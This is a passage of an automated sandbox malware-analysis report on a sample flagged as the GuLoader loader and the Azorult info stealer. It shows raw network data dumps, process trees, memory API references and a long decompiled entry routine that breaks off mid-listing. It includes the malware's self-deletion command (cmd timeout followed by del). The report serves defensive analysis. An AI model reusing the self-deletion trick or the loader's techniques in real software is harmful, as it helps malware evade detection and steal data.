2021-12-19 20:13:23 UTC	111	IN	Data Raw: dd 21 10 18 e7 88 94 33 8a 44 a9 0a 2a bd 08 8d 04 9a 58 41 41 15 4d d5 33 e8 11 0c 7b 6d 00 4f b8 81 ba 93 1f ab 71 11 3f 7f d5 c9 c1 dd 64 5a 21 76 6d 4f 6a 93 80 31 36 37 a0 aa 32 11 3b eb ec 56 e2 b0 b5 66 2a f8 23 da c2 0d ba a7 e5 e2 d0 59 20 6f a1 d4 ef 5d f8 4d 72 a9 be b6 c6 5e 04 4d a3 17 2d c7 06 db 3b e9 6a a0 8f 66 3c 0f 7e a5 8a b0 5e 6c 9a 86 1e a2 92 3f cb 07 6d de 71 a5 29 5f 17 73 ef f3 26 3e d6 07 72 62 38 4e a4 4b 03 35 2e 50 8e bb b8 db ca b0 c8 74 22 f2 09 cb 2e 86 1d d3 3e 68 6d dd be 7e f9 e8 30 9e 45 20 60 d2 97 76 8d 33 82 01 dd 53 a7 0d 8b 22 58 16 c2 31 ac 85 64 d0 2d c5 d7 b1 04 ab ce 3b 2c 6e 34 a3 2b 26 e2 5e fd 36 9d cf 90 e7 9e e9 1e 9b 2e b7 ef eb ad 8f 5f 50 da cc 90 6a 32 5b 88 e2 a3 a7 31 d0 82 61 9e 6b eb e5 86 fb 77 Data Ascii: !3DXAAM3{mOq?dZ!vmOj1672;Vf#Y o]Mr^M-;jf<~^l?mq)_s&>rb8NK5.Pt".>hm~0E `v3S"X1d-;,n4+&^6._Pj2[1akw
2021-12-19 20:13:23 UTC	112	IN	Data Raw: 34 8d 2b 9a 0e 4b 58 b5 f4 f4 d6 27 bd d8 27 b8 a8 c9 dc 2c 95 92 a1 06 22 62 d8 e5 67 cb 99 f0 a5 8c 9f bb e3 dc 9b bc 19 0b e6 3d 48 1c 06 86 bd c8 2d d2 ee 3c be 24 18 8a 48 2b 43 dc 11 8c 70 b5 56 95 db 37 00 b3 db 9c aa 3f e6 b4 2e 24 22 93 28 43 ff bd a5 e8 a2 3c cb 2b 5d ea d9 82 f9 89 66 a7 3d 72 36 91 22 7f e6 5c 43 e5 10 13 7e e1 9c f9 cf ee 5a 2e 33 96 09 8b 2a c9 3e 0d f4 fa 0a a7 c2 bc b8 9a 05 56 38 3f e0 48 83 89 99 d5 3b ea 7e 03 dd 1a 43 3a f0 6f bf b6 7d 9a 0c 49 0c 6e 0a 92 88 17 20 6d a3 98 7f 29 e4 17 db c9 bf 11 82 90 6f 8b 96 b8 09 fb 7f 56 18 c1 55 e6 db 26 68 ee d4 15 03 c4 0d 0f 1d 78 f5 bc 10 4e 20 9f 2f f0 86 8e 31 fa 3e 27 5b 0d 8f c1 99 46 bb 5c 01 68 f0 13 bf 38 7d e9 ab 6a ae ca fe 1b 9d af cc a8 dc 7c fd c0 cb c8 d1 b5 d0 Data Ascii: 4+KX'',"bg=H-<$H+CpV7?.$"(C<+]f=r6"\C~Z.3*>V8?H;~C:o}In m)oVU&hxN /1>'[F\h8}j\|
2021-12-19 20:13:23 UTC	113	IN	Data Raw: e0 9e 95 b7 ef 14 2f 8d 57 ce fa ea fe 2c 23 c3 ba 23 9e c2 44 cd 4f 56 8d 9c ec d9 06 f0 2e 43 ab 9f 67 7f 3b 89 5e 36 34 e0 02 7a 67 0d 18 b8 e3 93 8f 26 e8 15 28 e9 aa f1 f6 fa bb c0 a9 54 22 30 8a f4 25 88 a2 7e d2 68 7c 5b 98 aa 3b b8 0d ee 3f ab 2a 42 47 42 69 be 5a 39 61 70 eb a4 81 f2 9e 62 fc 9d f1 14 05 c8 17 bf e9 90 6d 92 13 94 67 ff a0 c2 b7 d7 b3 59 d7 10 88 a7 92 8d d5 66 23 d5 91 92 34 3a 1d 0c dd 2d de c0 81 44 10 57 2c 29 9c 2f a8 d8 7b c9 42 dc 3d 7a 5d 71 a5 a7 e8 86 ce 78 96 54 36 b9 88 05 f0 78 18 32 79 0a a4 a7 bf 2f d5 41 27 2a 03 13 a2 5d 86 5c b1 f5 bc 95 77 e8 cc 3d a7 c2 2a dc 36 cc 3c 5e 68 81 ca 24 41 a6 f1 9a 8f 41 73 b5 1e fa 56 a7 0f c8 ad 15 ff 07 e8 99 3a b8 57 c6 92 d8 73 62 38 43 79 4b f7 30 0f 9c 8f a0 da 71 fb 6d c6 Data Ascii: /W,##DOV.Cg;^64zg&(T"0%~h\|[;?BGBiZ9apbmgYf#4:-DW,)/{B=z]qxT6x2y/A']\w=*6<^h$AAsV:Wsb8CyK0qm
2021-12-19 20:13:23 UTC	114	IN	Data Raw: b6 70 a0 9b be bc f2 a3 7a 26 55 0d 42 15 1e 3a 31 7c 2f f1 06 37 24 ab 21 f4 51 09 e7 d0 fe 92 5b 51 06 9e 09 e3 e3 20 9b 04 30 80 7b e8 35 09 32 cd dc 6d 01 4b 97 64 69 c3 6e 8e b8 38 b5 e0 e6 34 12 9d 1b 11 9f c6 d6 29 be 7f ab 3b 6c 1a ec ed d6 17 c1 33 2d 84 d7 bd 8f ab 5b 82 d0 de 71 7c 3c d0 00 82 34 e5 e4 49 68 e2 04 62 d5 76 00 04 d5 a0 22 95 ae 32 92 2a 1c dd 29 ab 79 b4 63 8f bd 27 76 e4 ab d5 4e 83 04 fd fd 3c 73 4c 77 00 df e6 c3 f5 9b 8f bb 7c 72 eb 75 40 13 18 20 39 66 dc 16 7b ef f9 85 6d 79 e8 12 51 2b 80 cc 30 e4 7b bc 5b e3 67 fc fc f6 c9 14 d4 99 96 e6 0e 28 4b 70 a6 9b dd 72 fe f1 71 13 75 6e a2 57 d4 af 8c a7 ea d6 54 dd 55 c2 7a 52 e8 9e b7 ef 51 df ea 3a 14 83 8f d2 38 70 6e b8 bc 93 96 68 37 d6 8d cb a7 af 6e df 48 22 bc 2d 71 33 Data Ascii: pz&UB:1\|/7$!Q[Q 0{52mKdin84);l3-[q\|<4Ihbv"2*)yc'vN<sLw\|ru@ 9f{myQ+0{[g(KprqunWTUzRQ:8pnh7nH"-q3
2021-12-19 20:13:23 UTC	115	IN	Data Raw: 04 d9 52 e3 fe b7 dc 13 b7 1e 2c 84 a1 ce d5 df 93 5f a3 72 1d 1e a7 61 58 af a6 64 9a 2b 92 17 ee 47 97 cb 2a 86 de a2 70 c6 3f 63 85 93 25 73 e7 e4 b7 d1 11 56 41 d5 48 b0 1b bc 7a 43 5c ab d1 e8 0d 65 d6 4e a7 30 e8 d1 21 5d 2d a0 27 53 f0 43 aa ff ad 06 c4 7b 52 a1 d6 f7 f6 26 6e 1c 35 f0 3e 14 2a c2 ee f8 4b 8e 18 b6 77 7f 95 11 c6 3e 53 65 3b d8 01 d7 22 f7 36 11 fc 03 02 78 ca 88 b0 db 0d 12 30 8e eb 9f 88 64 92 5e 30 7d 75 6a d6 a9 4b e6 f8 83 b7 9f 74 83 05 33 05 24 03 55 81 f0 29 fd aa 28 76 b4 ed 5a dd 87 b9 0f 84 6b 69 a0 90 9c 0f bf 79 07 1e 70 52 64 dc c4 6f 41 d3 4a 04 bc 0a 07 1a 7d f2 59 14 98 24 29 2b 93 83 0d 34 76 3b fb 5e f4 8a e8 9d 6c bf 26 05 56 f4 19 bb 2e 79 c5 af 3c aa a6 fa a7 9e 40 cf 37 df c6 fe 8a c8 84 d2 92 d3 1a b0 ee 3f Data Ascii: R,_raXd+Gp?c%sVAHzC\eN0!]-'SC{R&n5>Kw>Se;"6x0d^0}ujKt3$U)(vZkiypRdoAJ}Y$)+4v;^l&V.y<@7?
2021-12-19 20:13:23 UTC	117	IN	Data Raw: d4 67 14 53 6c fb f1 e1 f3 8d 2e 52 b7 e0 93 c5 4a 7b 41 c6 83 e9 e2 51 09 75 21 c3 a4 14 68 52 34 50 56 3e 3c ca 0a 71 6f d1 10 5e eb 2a 84 43 e3 8d 22 0c a0 2a fc 94 b1 d1 a3 59 24 31 8c 85 23 13 a4 fe d4 fe 7a f3 9e 08 3d d4 0a a0 38 88 2d 60 40 65 6e 97 5d 77 66 3a ec e3 86 4b 9a 94 f8 0d f5 af 01 a8 13 c5 ed f1 69 2a 16 7c 62 12 a5 fb b3 d4 b7 51 d3 62 8c b0 96 b0 d1 b7 27 01 95 55 30 91 19 5e d9 ab dd fb 83 49 12 47 2e 51 9e 1e aa 4c 7a 9e 43 8d 3c 0e 5c 2d a4 ef e9 74 f0 6a 39 7e 09 09 b6 5b cf f2 17 b7 76 de ab 59 b0 e6 da 8d 28 68 43 5e 92 e7 b6 3c 81 9e bc ef 77 8d cc 9d a7 65 2a 02 36 25 3c 6c 68 dd ca 13 41 7a f0 15 8e d7 72 cf 1f b1 57 6d 0f 2d ad fa ff 11 eb ab 39 ac 54 d1 91 a5 70 72 3b 5c 7a 7a f4 04 0c bb 8c 4d d9 89 f8 82 c5 e2 a4 af ca Data Ascii: gSl.RJ{AQu!hR4PV><qo^C"Y$1#z=8-`@en]wf:Ki\|bQb'U0^IG.QLzC<\-tj9~[vY(hC^<we6%<lhAzrWm-9Tpr;\zzM
2021-12-19 20:13:23 UTC	118	IN	Data Raw: b2 23 31 4c 2e 27 f1 c9 fe 9e e3 17 5b 7a f4 4c da 6b 94 83 4d 4d b1 bf eb 73 09 15 39 ac c2 9d bf 41 bb 1e 68 00 39 ae 32 ef c8 50 23 c9 1b 76 46 3d a7 83 83 f6 48 fa 67 f8 e3 66 6e ca 0c 45 f1 9d 78 3a 4e 01 88 69 58 50 21 a1 32 5c 19 cf 52 bd c7 26 5f 6f 60 ed a8 5a 18 fa eb 29 22 2b e1 3f ae eb 62 0a 88 36 51 3d c6 89 b0 3a dc 39 09 58 1b f0 df e2 40 cc 52 72 37 9f 50 d4 88 1a 4b c8 c2 f1 4f a5 96 ca 5a 9f 55 93 99 b6 2d 8c 18 92 76 6f cb 08 d7 8a 9a fc 58 8a c0 f1 1b 0e b4 65 f5 54 5f 86 e9 4e e8 2b e3 24 84 09 49 b6 ff 6f 9f fb 32 93 a1 7a f1 bb 65 07 78 b7 ed c2 e9 43 94 1e 3a 28 80 6c ef 6c bb cb cb ab 58 56 63 21 b3 1c 5f 3b 24 d0 2d 1c c6 b0 7f af 97 a8 be 3a a6 79 7a 91 af a4 4e e6 ac dd ad f1 5b 55 25 39 58 c6 1f 66 a7 57 71 65 fa 0f e2 88 5e Data Ascii: #1L.'[zLkMMs9Ah92P#vF=HgfnEx:NiXP!2\R&_o`Z)"+?b6Q=:9X@Rr7PKOZU-voXeT_N+$Io2zexC:(llXVc!_;$-:yzN[U%9XfWqe^

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 1COK25f1vT.exe PID: 7040 Parent PID: 5064

General

Start time:	21:12:02
Start date:	19/12/2021
Path:	C:\Users\user\Desktop\1COK25f1vT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\1COK25f1vT.exe"
Imagebase:	0x400000
File size:	102400 bytes
MD5 hash:	5918B91AC2931AF0267E4AF06F3FD2E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.385834969.000000001FC24000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 1COK25f1vT.exe PID: 2132 Parent PID: 7040

General

Start time:	21:12:49
Start date:	19/12/2021
Path:	C:\Users\user\Desktop\1COK25f1vT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\1COK25f1vT.exe"
Imagebase:	0x400000
File size:	102400 bytes
MD5 hash:	5918B91AC2931AF0267E4AF06F3FD2E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000000C.00000002.515598674.000000002030C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 1360 Parent PID: 2132

General

Start time:	21:13:49
Start date:	19/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "1COK25f1vT.exe
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 1676 Parent PID: 1360

General

Start time:	21:13:50
Start date:	19/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: timeout.exe PID: 6828 Parent PID: 1360

General

Start time:	21:13:50
Start date:	19/12/2021
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\timeout.exe 3
Imagebase:	0xdf0000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: 1COK25f1vT.exe PID: 7040 Parent PID: 5064 1COK25f1vT.exeCOMMON

Executed Functions

Function 02A98E9D, Relevance: 6.5, APIs: 1, Strings: 2, Instructions: 1279COMMON

Download Yara Rule

Strings

G\NJ, xrefs: 02A9551F
<iJG, xrefs: 02A957D5

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID: <iJG$G\NJ
API String ID: 3389902171-3159980170
Opcode ID: 9fa00093fe089c23f6f0fc2b242c4c6c42a874ea652c1d9db84efd4cb2d66c71
Instruction ID: b06af983fb7a9aba490fa21d5065c25b0be5165e0502f1479b097634e28ebe35
Opcode Fuzzy Hash: 9fa00093fe089c23f6f0fc2b242c4c6c42a874ea652c1d9db84efd4cb2d66c71
Instruction Fuzzy Hash: 2EB203719083859FCF35CF3AC9987EA7BE2AF56350F45815EDC8A8B295DB308641CB12

Uniqueness

Uniqueness Score: -1.00%

Function 02A91D79, Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 564COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(-B7671279,A8FA5E54), ref: 02A9606F

Strings

JFQn, xrefs: 02A91F18

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: ProcessTerminate
String ID: JFQn
API String ID: 560597551-2823861885
Opcode ID: cd4f95c1923c3247a4da21fa589b1668e0455dde85c1e3b18f4d9c7a7164af9d
Instruction ID: 0f4abc81265556181ff646d304f20ca9948c6c5fe2d06674214fda0133920b93
Opcode Fuzzy Hash: cd4f95c1923c3247a4da21fa589b1668e0455dde85c1e3b18f4d9c7a7164af9d
Instruction Fuzzy Hash: 7C12AA324093CAAFCF268F3A88947E5BFE1EF56224F18469AC9994F543DB315907CB41

Uniqueness

Uniqueness Score: -1.00%

Function 02A963E9, Relevance: 3.5, APIs: 2, Instructions: 468memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02A97B62: LoadLibraryA.KERNELBASE(697D6A7B), ref: 02A97C30

NtAllocateVirtualMemory.NTDLL ref: 02A9657C

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: AllocateLibraryLoadMemoryVirtual
String ID:
API String ID: 2616484454-0
Opcode ID: 51aca689f81d1dfa1547c548add8efb592194bbd4a4f3e3994d401b06054f49d
Instruction ID: d4268b0d6f14d8882fb6b2c74d198fbbd3007f5f07c563c392a564fc45eabdf7
Opcode Fuzzy Hash: 51aca689f81d1dfa1547c548add8efb592194bbd4a4f3e3994d401b06054f49d
Instruction Fuzzy Hash: 0C12BA7164428ADFDF349F26CD94BEE7AF6AF98740F45842EDD4A9B210DB304A40CB12

Uniqueness

Uniqueness Score: -1.00%

Function 004016DC, Relevance: 2.5, APIs: 1, Instructions: 1043
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			_entry_(signed int __eax, intOrPtr __ebx, void* __ecx, void* __edx, void* __edi, char* __esi) {
				signed char _t41;
				signed int _t42;
				signed int _t43;
				signed char _t44;
				signed int _t45;
				signed char _t46;
				signed char _t50;
				signed char _t52;
				signed int _t55;
				intOrPtr* _t56;
				signed int _t57;
				intOrPtr* _t59;
				signed char _t60;
				signed char _t62;
				signed int _t64;
				intOrPtr* _t66;
				signed char _t72;
				void* _t74;
				signed int _t80;
				intOrPtr* _t85;
				intOrPtr* _t86;
				signed int _t91;
				char* _t92;
				void* _t95;
				void* _t97;
				void* _t99;
				void* _t101;
				signed int _t108;
				signed int _t114;
				signed char _t116;

				_t92 = __esi;
				_push(0x412020); // executed
				L004016D6(); // executed
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax ^ __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				asm("daa");
				asm("cdq");
				asm("enter 0x32a0, 0x5f");
				_t1 = __esi + __edi;
				 *_t1 = __ebx;
				asm("outsd");
				asm("arpl [eax+eax], si");
				 *0xb1 =  *0xb1 + __eax;
				 *__eax =  *__eax + __eax;
				 *0xb1 =  *0xb1 + __eax;
				_t3 = __eax - 0x7e;
				 *_t3 = __edx + 1;
				 *0x0000011F =  *((intOrPtr*)(0x11f)) + __eax;
				asm("popad");
				asm("insb");
				asm("popa");
				 *[ss:eax] =  *[ss:eax] + __eax;
				 *__eax =  *__eax + __eax;
				asm("int3");
				 *__eax =  *__eax ^ __eax;
				_pop(_t95);
				asm("cmpsb");
				_t85 = ( *_t3 | 0x000000b1) + 1;
				asm("int3");
				asm("stosb");
				asm("stc");
				asm("sbb [eax+0x7fe074fb], esi");
				asm("insb");
				_t91 = __edi -  *((intOrPtr*)(__esi - 0x73e373bd)) - 1;
				asm("lodsd");
				_t41 = __eax;
				asm("stosb");
				 *((intOrPtr*)(_t41 - 0x2d)) =  *((intOrPtr*)(_t41 - 0x2d)) + _t41;
				_t42 =  *_t1 +  *_t1 ^  *0xFFFFFFFFB7CCAB13;
				_t72 = _t41;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				 *_t42 =  *_t42 + _t42;
				_t43 = _t42 - 1;
				 *(0xb1 << 1) =  *(0xb1 << 1) | _t43;
				 *_t85 =  *_t85 + _t43;
				 *_t43 =  *_t43 + _t43;
				 *((intOrPtr*)(__esi)) =  *((intOrPtr*)(__esi)) + _t43;
				_t12 = _t85 + 0x69;
				 *_t12 =  *((intOrPtr*)(_t85 + 0x69)) + _t43;
				asm("outsb");
				if ( *_t12 >= 0) goto L1;
				_t44 = _t43 | 0x55000801;
				_push(_t72);
				_t97 = _t95 - 1 + 1;
				_push(_t85);
				 *0x00BADBAC =  *((intOrPtr*)(0xbadbac)) + _t72;
				 *_t44 =  *_t44 + _t44;
				_t86 = _t85 + 1;
				 *((intOrPtr*)(_t44 + 0xbadbac)) =  *((intOrPtr*)(_t44 + 0xbadbac)) + _t44;
				 *((intOrPtr*)(_t97 + 0x44)) =  *((intOrPtr*)(_t97 + 0x44)) + _t86;
				_push(_t72);
				_t80 = 0xbadbab;
				_t99 = _t97 - 1 + 1;
				 *0x1cde =  *0x1cde + _t86;
				asm("loope 0x13");
				 *_t44 =  *_t44 + _t44;
				 *_t44 = _t72;
				 *_t44 =  *_t44 + _t44;
				asm("scasd");
				ss = _t86;
				 *_t44 =  *_t44 + _t44;
				_t108 = 0x3a2ae9d0;
				 *((intOrPtr*)(__esi + 3)) =  *((intOrPtr*)(__esi + 3)) + _t44;
				 *((intOrPtr*)(0xbadbab)) =  *((intOrPtr*)(0xbadbab)) + 1;
				_t45 = _t44 & 0x00000000;
				 *_t45 =  *_t45 + _t45;
				 *0x78655400 =  *0x78655400 + _t45;
				if( *0x78655400 == 0) {
					L5:
					_push(_t108);
					if(_t114 < 0) {
						goto L16;
					} else {
						_t50 = _t45 ^  *_t45;
						 *_t86 =  *_t86 + _t86;
						 *_t72 =  *_t72 + 1;
						_t52 = _t50 & 0x00000000;
						 *_t52 =  *_t52 + _t52;
						_t46 = _t52 +  *0x78655400;
						_t116 = _t46;
						goto L8;
					}
				} else {
					 *_t86 =  *_t86 + _t45;
					_push(ss);
					asm("rol byte [edx], 1");
					_t91 = 0xb01ef04;
					_t46 = _t45 + 0x786554f8;
					if(_t46 == 0) {
						L8:
						if(_t116 >= 0) {
							 *_t46 =  *_t46 ^ _t46;
							 *_t86 =  *_t86 + _t46;
							_pop(es);
							_t91 = _t91 +  *((intOrPtr*)(_t91 + 0xb01ef04));
							_t55 = _t46 + 8 - 1 + 0x78655400;
							goto L11;
						}
					} else {
						 *_t86 =  *_t86 + _t86;
						_t66 = _t46 + 0x2403ff00;
						 *_t66 =  *_t66 + _t66;
						 *_t86 =  *_t86 + _t66;
						_t55 = _t66 + 0x78655400;
						if(_t55 == 0) {
							L11:
							_t21 = _t99 + 0x78;
							 *_t21 =  *((intOrPtr*)(_t99 + 0x78)) + _t86;
							if( *_t21 != 0) {
								 *_t86 =  *_t86 + _t86;
								 *_t72 =  *_t72 + 1;
								_t59 = _t55 +  *_t55 -  *((intOrPtr*)(_t55 +  *_t55));
								 *_t59 =  *_t59 + _t59;
								_t60 = _t59 + 8;
								 *((intOrPtr*)(_t72 + 0x6f)) =  *((intOrPtr*)(_t72 + 0x6f)) + _t60;
								asm("outsd");
								asm("insd");
								asm("insd");
								asm("popad");
								asm("outsb");
								_t62 = (_t60 ^ 0x00000000) + 1;
								 *_t62 =  *_t62 | _t62;
								_t74 = _t72 + 2;
								asm("outsd");
								asm("insd");
								asm("insd");
								asm("popad");
								asm("outsb");
								_t64 = (_t62 ^ 0x00000000) + 0xd8;
								 *_t64 =  *_t64 | _t108;
								_t55 = _t64 | 0x022b09e7;
								asm("adc [edx], eax");
								_t72 = _t74 + _t74;
								_t99 = _t99 +  *_t86;
							}
							_t56 = _t55 -  *_t55;
							 *_t56 =  *_t56 + _t56;
							_t57 = _t56 + 0x6f430008;
							asm("insd");
							asm("insd");
							asm("popad");
							asm("outsb");
							 *[fs:eax] =  *[fs:eax] ^ _t57;
							_t45 = _t57 + 1;
							 *_t45 =  *_t45 | _t45;
							_t72 = _t72 + 1;
							asm("outsd");
							asm("insd");
							asm("insd");
							asm("popad");
							asm("outsb");
							 *[fs:eax] =  *[fs:eax] ^ _t45;
							L16:
							_t46 = _t45 + 0x80;
							_push(ss);
							 *0x1ef04bf =  *0x1ef04bf & _t80;
							asm("adc [ecx], eax");
							_t72 = _t72 + _t72;
							_t99 = _t99 + _t108;
							_push(es);
							 *_t46 =  *_t46 + _t46;
						} else {
							 *_t86 =  *_t86 + _t55;
							asm("xadd [ebx], al");
							_t91 = 0xb01ef04;
							_t45 = _t55 + 0x78655400;
							_t114 = _t45;
							goto L5;
						}
					}
				}
				 *_t46 =  *_t46 | _t80;
				_t25 = _t46 + 0x74;
				 *_t25 =  *((intOrPtr*)(_t46 + 0x74)) + _t86;
				if( *_t25 >= 0) {
					asm("outsd");
					asm("outsb");
					 *[fs:ecx+eax] =  *[fs:ecx+eax] + _t46;
					_pop(es);
					 *((intOrPtr*)(_t80 + 0x59 + _t46 * 2)) =  *((intOrPtr*)(_t80 + 0x59 + _t46 * 2)) + _t46;
					_t101 = _t99 - 1 + 1;
					_t92 = _t92 - 1;
					_push(_t46);
					_t33 = _t108 + _t72;
					 *_t33 =  *((intOrPtr*)(_t108 + _t72)) + _t46;
					_push(es);
					if( *_t33 <= 0) {
						 *_t91 = es;
						_pop(_t86);
						 *_t80 =  *_t80 + _t86;
						 *_t46 =  *_t46 + _t46;
					}
					_t72 = _t72 &  *(_t92 + 0x6c000106);
					if (_t72 == 0) goto L21;
					 *((intOrPtr*)(_t92 + 0x42000106)) =  *((intOrPtr*)(_t92 + 0x42000106)) + _t86;
					_t99 = _t101 - 1;
					_t86 = 6;
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					 *[ss:eax] =  *[ss:eax] + _t46;
					 *_t46 =  *_t46 + _t80;
					 *_t46 =  *_t46 + _t46;
					_t46 = _t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					 *_t72 =  *_t72 + _t80;
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					asm("adc [eax], al");
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					 *_t92 =  *_t92 + 1;
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t46;
					 *_t46 =  *_t46 + _t80;
					 *_t80 =  *_t80 + 6;
					 *_t46 =  *_t46 | _t46;
					 *_t46 =  *_t46 ^ _t80;
					 *_t80 =  *_t80 + 6;
					 *_t46 =  *_t46 | _t46;
				}
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
